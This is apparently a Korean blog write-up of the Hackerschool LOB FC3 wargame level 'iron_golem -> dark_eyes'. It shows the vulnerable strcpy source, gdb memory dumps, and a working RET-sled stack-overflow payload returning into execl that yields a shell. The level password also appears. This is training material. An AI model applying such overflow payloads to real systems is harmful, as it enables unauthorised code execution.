해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이
M4ndU
해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이입니다.
ID | iron_golem
PW | blood on the fedora
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합니다.
[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c
/*
The Lord of the BOF : The Fellowship of the BOF
- dark_eyes
- Local BOF on Fedora Core 3
- hint : RET sleding
*/
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
if(argc < 2){
printf("argv error\n");
exit(0);
}
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, argv[1]);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
printf("%s\n", buffer);
}
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA뫈뭐?
Segmentation fault
...안된다...
(gdb) b *main+176
Breakpoint 1 at 0x80484b8
(gdb) r `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`
Starting program: /home/iron_golem/dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`
(no debugging symbols found)...(no debugging symbols found)...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(l萃뭐퉬
Breakpoint 1, 0x080484b8 in main ()
(gdb) x/10wx $ebp
0xfef56bc8: 0xfef56c28 0x080484b9 0x080484b9 0x080484b9
0xfef56bd8: 0xfef56c00 0x0070eab6 0x0083eff4 0x00000000
0xfef56be8: 0xfef56be0 0xfef56c28
(gdb) x/10wx $ebp-8
0xfef56bc0: 0x41414141 0x41414141 0xfef56c28 0x080484b9
0xfef56bd0: 0x080484b9 0x080484b9 0xfef56c00 0x0070eab6
0xfef56be0: 0x0083eff4 0x00000000
메모리를 확인해보니, RET까지 잘 들어갔는데 execl함수 주소가 들어가지 않았다. \x20이 문제인거 같다.
0x7a571e <execle+270>: nop
0x7a571f <execle+271>: nop
0x7a5720 <execl>: push ebp
0x7a5721 <execl+1>: mov ebp,esp
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8
澱뭐퉉z
sh-3.00$ my-pass
euid = 502
because of you
'System Hacking > LOB FC' 카테고리의 다른 글
해커스쿨 LOB FC3 [evil_wizard -> dark_stone] 풀이 (0) | 2019.02.20 |
---|---|
해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이 (0) | 2019.02.19 |
해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이 (0) | 2018.08.18 |
해커스쿨 LOB FC3 [gate -> iron_golem] 풀이 (0) | 2018.08.17 |
해커스쿨 LOB FC 페도라 코어 다운로드 (0) | 2018.08.17 |